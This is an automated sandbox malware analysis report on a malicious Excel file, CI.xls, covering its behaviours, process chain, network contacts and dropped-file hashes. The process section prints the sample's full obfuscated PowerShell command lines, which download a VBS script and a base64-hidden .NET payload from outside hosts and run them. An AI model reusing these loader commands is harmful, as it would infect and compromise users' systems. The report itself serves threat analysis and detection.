Malware Analysis Report

2024-12-07 16:49

Sample ID 241113-h6nrjszrgj
Target CI.xls
SHA256 62ebacf04ae91df07d6acb4b8deb8960ec8c42c2accf6323ecadee31d95151d1
Tags
defense_evasion discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

62ebacf04ae91df07d6acb4b8deb8960ec8c42c2accf6323ecadee31d95151d1

Threat Level: Known bad

The file CI.xls was found to be: Known bad.

Malicious Activity Summary

defense_evasion discovery execution

Process spawned unexpected child process

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Evasion via Device Credential Deployment

Drops file in System32 directory

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Checks processor information in registry

Uses Volume Shadow Copy WMI provider

Uses Volume Shadow Copy service COM API

Uses Task Scheduler COM API

Modifies Internet Explorer settings

Enumerates system info in registry

Suspicious use of WriteProcessMemory

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 07:21

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 07:21

Reported

2024-11-13 07:23

Platform

win7-20240903-en

Max time kernel

138s

Max time network

138s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\CI.xls

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2900 wrote to memory of 2052 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
PID 2900 wrote to memory of 2052 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
PID 2900 wrote to memory of 2052 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
PID 2900 wrote to memory of 2052 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
PID 2052 wrote to memory of 980 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2052 wrote to memory of 980 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2052 wrote to memory of 980 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2052 wrote to memory of 980 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2052 wrote to memory of 2972 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2052 wrote to memory of 2972 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2052 wrote to memory of 2972 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2052 wrote to memory of 2972 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2972 wrote to memory of 1776 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2972 wrote to memory of 1776 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2972 wrote to memory of 1776 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2972 wrote to memory of 1776 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2052 wrote to memory of 2000 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WScript.exe
PID 2052 wrote to memory of 2000 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WScript.exe
PID 2052 wrote to memory of 2000 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WScript.exe
PID 2052 wrote to memory of 2000 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WScript.exe
PID 2000 wrote to memory of 2256 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2000 wrote to memory of 2256 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2000 wrote to memory of 2256 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2000 wrote to memory of 2256 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2256 wrote to memory of 2508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2256 wrote to memory of 2508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2256 wrote to memory of 2508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2256 wrote to memory of 2508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\CI.xls

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe -Embedding

C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe

"C:\Windows\sYStEm32\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe" "pOwerSHeLl.ExE -ex BYPasS -NOp -w 1 -c dEVIcECreDentIAldEplOYmEnT ; iex($(IEx('[sYSTEm.teXt.eNCoDING]'+[cHar]58+[ChaR]0X3a+'UTf8.getsTRiNg([sySTem.COnVERt]'+[CHaR]0X3a+[chAr]0X3A+'frombaSE64STrIng('+[chAR]0x22+'JFNyRkRDMnFKTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1iRXJkRWZJbmlUSU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSbG1vbi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBob0xpVWhiSW9ELHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVXSyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGhzbyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3dUxwdSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNQUyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZVNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNyRkRDMnFKTTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yOS82Ni9zZWVteWJlc3RnaXJsdGhpbmtpbmdzaGVpc2Fob3RjaGlja2J1dGZ1dmsudElGIiwiJEVuVjpBUFBEQVRBXHNlZW15YmVzdGdpcmx0aGlua2luZ3NoZWlzYWhvdGNoaWNrYnV0ZnUudmJTIiwwLDApO1N0YXJULXNMZUVwKDMpO3N0YXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3RnaXJsdGhpbmtpbmdzaGVpc2Fob3RjaGlja2J1dGZ1LnZiUyI='+[cHaR]34+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex BYPasS -NOp -w 1 -c dEVIcECreDentIAldEplOYmEnT

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\g6mcb3bs.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD73D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD73C.tmp"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestgirlthinkingsheisahotchickbutfu.vbS"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdMRVJpbWFnZScrJ1VybCA9ICcrJ0RqWmh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrJysnZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5UJysnSUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYnKycyYycrJzE3MzA5NDUxNzZhMDkwNGYgRGpaO0xFUndlYkNsJysnaScrJ2VudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7TEVSaW1hZ2VCeXRlcyAnKyc9IExFUndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoTEVSaW1hZ2UnKydVcmwpO0xFUmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKExFJysnUmltYWcnKydlQnl0JysnZXMpO0xFUnN0YXJ0RmxhZyA9IERqWjw8QkEnKydTRTY0X1NUQVJUPj5Ealo7TEVSZW5kRmxhZyA9IERqWjw8QkFTRTY0X0VORD4+RGpaO0xFUnN0YXJ0SW5kZXggPSBMRVJpbWFnZVRleHQuSW5kZXhPZihMRVJzdGFydEZsYWcpO0xFUmVuZEluZGV4ID0gTEVSaW1hZ2VUZXh0LkluZGV4T2YoTEVSZW5kRicrJ2xhZyk7TEVSc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIExFUmVuZEluZGV4IC1ndCBMRVJzdGFydEluZGV4O0xFUnN0YXJ0SW5kZXggKz0gTEVSc3RhcicrJ3RGbGFnLkxlbmd0aDtMRVJiYXNlNjRMZW5ndGggPSBMRVJlbmRJbmRleCAtIExFUnN0YXJ0SW5kZXg7TEVSYmFzZTY0Q29tbWFuZCA9JysnIExFUmltYWdlVGV4dC5TdWJzdHJpbmcoTEVSc3RhcnRJbmRleCwgTEVSYmEnKydzZTY0TGVuZ3RoKTtMRVJiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChMRVJiYXNlNjRDb20nKydtYW5kLlRvQ2hhckFycmF5KCkgaTFCIEZvckVhY2gtT2JqZWN0IHsgTEVSXyB9KVstMS4uLShMRVJiYXNlNjRDJysnb21tYW5kLkxlbmd0aCldO0wnKydFUmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoTEVSYmFzZTY0UmV2ZXJzZWQpO0xFUmxvYWRlZEFzcycrJ2VtYmx5ID0gW1N5c3RlbS5SZWYnKydsZWN0JysnaW8nKyduLkFzc2VtYmx5XTo6TCcrJ29hZChMRVJjb21tYW5kQicrJ3l0ZXMpO0xFUnZhaU1ldGhvZCAnKyc9IFtkbmxpYi5JTy4nKydIb21lXS5HZXRNZXRob2QoRGpaVkFJRGpaKTtMRVJ2YWlNZXRob2QuSW52b2tlKExFUm51bGwsIEAoRGpadHh0LlJSRlRSV1MvNjYvOTIuMDIyLjMuMjkxLy86cHR0aERqWiwgRGpaZGVzYXRpdmFkb0RqWiwgRGpaZGVzYXRpdicrJ2EnKydkJysnb0RqWiwgRGpaZGVzYScrJ3RpdmFkb0RqWiwgRGpaQ2FzUG9sRGpaLCBEalpkZXNhdGl2YWRvRGpaLCBEalpkZXNhdGl2YWRvRGpaLERqWmRlc2F0aXZhZG9EalosRGpaZGUnKydzYXRpdmFkb0RqWixEalpkZXNhdGl2YWRvJysnRCcrJ2paLERqWmRlc2F0aXZhZG9EalosRGpaZGVzYXRpdmFkJysnb0RqWixEaloxRGpaLERqWmRlc2F0aXYnKydhZG9EalopKTsnKS5yZVBMQWNFKChbY0hBUl02OCtbY0hBUl0xMDYrW2NIQVJdOTApLFtTdHJpbmddW2NIQVJdMzkpLnJlUExBY0UoKFtjSEFSXTc2K1tjSEFSXTY5K1tjSEFSXTgyKSxbU3RyaW5nXVtjSEFSXTM2KS5yZVBMQWNFKCdpMUInLCd8JykgfCAmICggJHNIRWxsaURbMV0rJHNIRWxMSURbMTNdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('LERimage'+'Url = '+'DjZhttps://1017.filemail.com/api/file/get?filek'+'ey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnT'+'ICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c6'+'2c'+'1730945176a0904f DjZ;LERwebCl'+'i'+'ent = New-Object System.Net.WebClient;LERimageBytes '+'= LERwebClient.DownloadDa'+'ta(LERimage'+'Url);LERimageText = [System.Text.Encoding]::UTF8.GetString(LE'+'Rimag'+'eByt'+'es);LERstartFlag = DjZ<<BA'+'SE64_START>>DjZ;LERendFlag = DjZ<<BASE64_END>>DjZ;LERstartIndex = LERimageText.IndexOf(LERstartFlag);LERendIndex = LERimageText.IndexOf(LERendF'+'lag);LERstartIndex -ge 0 -an'+'d LERendIndex -gt LERstartIndex;LERstartIndex += LERstar'+'tFlag.Length;LERbase64Length = LERendIndex - LERstartIndex;LERbase64Command ='+' LERimageText.Substring(LERstartIndex, LERba'+'se64Length);LERbase64Reversed = -join (LERbase64Com'+'mand.ToCharArray() i1B ForEach-Object { LER_ })[-1..-(LERbase64C'+'ommand.Length)];L'+'ERcommandBytes = [System.Convert]::FromBase64String(LERbase64Reversed);LERloadedAss'+'embly = [System.Ref'+'lect'+'io'+'n.Assembly]::L'+'oad(LERcommandB'+'ytes);LERvaiMethod '+'= [dnlib.IO.'+'Home].GetMethod(DjZVAIDjZ);LERvaiMethod.Invoke(LERnull, @(DjZtxt.RRFTRWS/66/92.022.3.291//:ptthDjZ, DjZdesativadoDjZ, DjZdesativ'+'a'+'d'+'oDjZ, DjZdesa'+'tivadoDjZ, DjZCasPolDjZ, DjZdesativadoDjZ, DjZdesativadoDjZ,DjZdesativadoDjZ,DjZde'+'sativadoDjZ,DjZdesativado'+'D'+'jZ,DjZdesativadoDjZ,DjZdesativad'+'oDjZ,DjZ1DjZ,DjZdesativ'+'adoDjZ));').rePLAcE(([cHAR]68+[cHAR]106+[cHAR]90),[String][cHAR]39).rePLAcE(([cHAR]76+[cHAR]69+[cHAR]82),[String][cHAR]36).rePLAcE('i1B','|') | & ( $sHElliD[1]+$sHElLID[13]+'x')"

Network

Country Destination Domain Proto
US 8.8.8.8:53 4t.gg udp
KR 221.146.204.133:443 4t.gg tcp
US 8.8.8.8:53 r10.o.lencr.org udp
GB 2.23.210.82:80 r10.o.lencr.org tcp
US 192.3.220.29:80 192.3.220.29 tcp
KR 221.146.204.133:443 4t.gg tcp
US 192.3.220.29:80 192.3.220.29 tcp
US 192.3.220.29:80 192.3.220.29 tcp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 142.215.209.78:443 1017.filemail.com tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 2.19.117.22:80 crl.microsoft.com tcp

Files

memory/2512-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2512-1-0x0000000071CCD000-0x0000000071CD8000-memory.dmp

memory/2900-16-0x0000000002870000-0x0000000002872000-memory.dmp

memory/2512-17-0x00000000023B0000-0x00000000023B2000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

MD5 fe8dd446966cd95c9a14ac5135514595
SHA1 605765e506e35d3e4781a6a0dc7da0752aeedf1e
SHA256 16d70128ea073bbd0c8020356de6b2f55d89a76a7f44060eb4bc3c1672e488d9
SHA512 5e49b5ad27f1181640ace3f63641acafc743ab364dd99203381b320ce7e7f4f0187e5340a95b6ad374728af557d38391958ec567a7c8ba5d6018d77189524f48

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

MD5 822467b728b7a66b081c91795373789a
SHA1 d8f2f02e1eef62485a9feffd59ce837511749865
SHA256 af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
SHA512 bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CB467543952BE6B5200B9CADEB942CD1

MD5 720a93df51912c93caeedc436d33eb22
SHA1 47202c7bc0f4b9ebb8e314c5b6d3295bb24f01be
SHA256 90b4dbb9975e9f8efa0806986a21317906a17fb507a31668e9f6026b67765394
SHA512 2d135d1d7b0a4dc03fd29ad789e73dcba40d6aa9fba4835eacf9f2f7ca60048c2626a1c43e13438184db8cb4fc6cc8db642801c3f5f0e1d8930ab78b26a85181

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CB467543952BE6B5200B9CADEB942CD1

MD5 fca2d4075e78fd8330d5590ee560451b
SHA1 b7ab976b0f45facd4a29a6aded52515523cd756b
SHA256 9f9f330b74a23eac5552db138565085b9a57c32dc746c3ad230659ad37ddc689
SHA512 f0adf4b6d64229f3c8dee585a80a7e8e1614251318be226bbf5af21779bf7ffac0d9f9858525e5388f00b9547984dae737d022d0cce4ba4c66936383bf55f991

C:\Users\Admin\AppData\Local\Temp\CabCF6F.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AS91FDNI\seemebestthingswhichevermadebybestthingsgodown[1].hta

MD5 57a19193272cc7755de490dccc3be05f
SHA1 d56fce9c08083a9d81fa7fda3df780908b5fab21
SHA256 8baaf9535735d987a40639a7fe7f78e85c0a8ece06b698d6ae4b740ec63690e2
SHA512 ca5149e249b74a159f489afaba983011c9e316ee1850eff2f053c2d3ff4736bc75feb2575e71de66d3889690f50d097041041d1aaa6cc8d8476c71f403032b82

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 c9a22ddfba958421a12f0e2d02dbed0e
SHA1 6a53a9ca41deee5e7636ec97a7867c28368fd4ac
SHA256 a895989be782e68bbd76ab997a2012d42d2ce4a91e3622e779b1736e6d9d120d
SHA512 d735d01bf4086d5bf60e43bdbae68d5c30250dd08ba877c195f80240347bda5b0d3efa000e52ab946ccd223518cc678230d6fb9183f1bb97798838b04efb0a1b

\??\c:\Users\Admin\AppData\Local\Temp\g6mcb3bs.cmdline

MD5 18eb1a5b17d3e2cac98dfb65d5b8782f
SHA1 5fb81afe2fc5e6482c4caac32e100017b592010f
SHA256 c5aace365b122015191d68cb83b023f80dbb91f3caa869038821cf49f946384d
SHA512 634163da3e721b4f5ffcbd8bec8f00fee9f2ad7c3809b9a3ab690c6f9e1b16aa1bb90a596bfe324ed7164efb5b74e742e39ef0b976a6cdfd3c33d67a03793f87

\??\c:\Users\Admin\AppData\Local\Temp\g6mcb3bs.0.cs

MD5 70e878f483525e691692b50ba3aeadd0
SHA1 fa16b13bc12663af3d9a7e7dba4e027931cf9ccb
SHA256 3de2628d310015c0692133b3509877416f0c20159830c0d9ad45f10109f0bee8
SHA512 22cb839c634a7c5dc2c4b00c7c98aaa12bc4c3cc76a096e52004ede5b8f2b79e71670702f4a028b55bf2f411501dff4347cc1947fc345b32c8d957c2d9a31a05

C:\Users\Admin\AppData\Local\Temp\RESD73D.tmp

MD5 1e6e6ec708cc3f70e38a7ebcc2dc0193
SHA1 0ee96d040f50cbef34d8d257130e968b449549bc
SHA256 9419f2c84d22507ccecad5193d99deb023f6677e1eaac395caf4d2eab21c9b54
SHA512 c894872e07392c32b21a89b9c3ee97998e91694ab7cd6131e9b6d132e23bc014faa380b8111f5bf61dc26b3e4dc452f8129d5a7e8007716b309efd6e67ea577f

\??\c:\Users\Admin\AppData\Local\Temp\CSCD73C.tmp

MD5 5b5a4d27ee1cea248483fcc74dbe1f26
SHA1 c8365b4557a5b89974a4465d6db178c4708f36b3
SHA256 c247082a852488b85c6480256c44ff87beac086403bc597865a532abb4cc502c
SHA512 e99339a2e70520057249bf9f8bd08a860e933a7f66b92df2bf4ce9b15144499ee3b8ec7574c13a6a22da4e80ea16bf9ddba29498d5591d0f77c34cbd7e35c274

C:\Users\Admin\AppData\Local\Temp\g6mcb3bs.dll

MD5 323cbe48201816d8d5aec4d65f5e8f5c
SHA1 7fc2c9d302d4d1627b7821c1e7e9403a4ec5aec8
SHA256 124e4c823a17986f9ca1e5e3df1ba38bb020ae2a88be6171fa934cd5d71a69b7
SHA512 dbd9735b1d16c8fcb19983d7a8a06520a96fb3d5cb1b96740189ac4d053440e74b2ccc26e87cfda6d98065e04b905788df785e069afcab4482eb68e2240c4b7e

C:\Users\Admin\AppData\Local\Temp\g6mcb3bs.pdb

MD5 e3c82b3154e3ceab0eba6fe6288dcf86
SHA1 e35110d743e815768b241fcb1c9dfc34e2ef7aef
SHA256 54990ddcd12cb8ddeced6aed40cd997fcd4af1b6a9a614ad0d1d18e6c0867d63
SHA512 bd43e38f0e4bbc7137d8c8f563b9689d383064bd69fec62c9b5e1fadc24309c14bbcec2ebd8cb47b25db3c099849a48059d3e2c32705901b39861eaa9a49fc9f

memory/2512-60-0x0000000071CCD000-0x0000000071CD8000-memory.dmp

C:\Users\Admin\AppData\Roaming\seemybestgirlthinkingsheisahotchickbutfu.vbS

MD5 b93e8a9bf23aeb31964d63d631ccf365
SHA1 05b27d7f62b142a9d88c6ab89eb8ffc5f2299bd4
SHA256 75a49d9f596717af29acad09533ed873c76d71ef857aa340e47a5605b209e63f
SHA512 46e5f392f462c69158443e1c26361e950452744240638375af4e3926f0b57eb2d0f58fea63a42f998e7da1776ee49cc993d67cc32c2b2aa5244476bc95654062

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
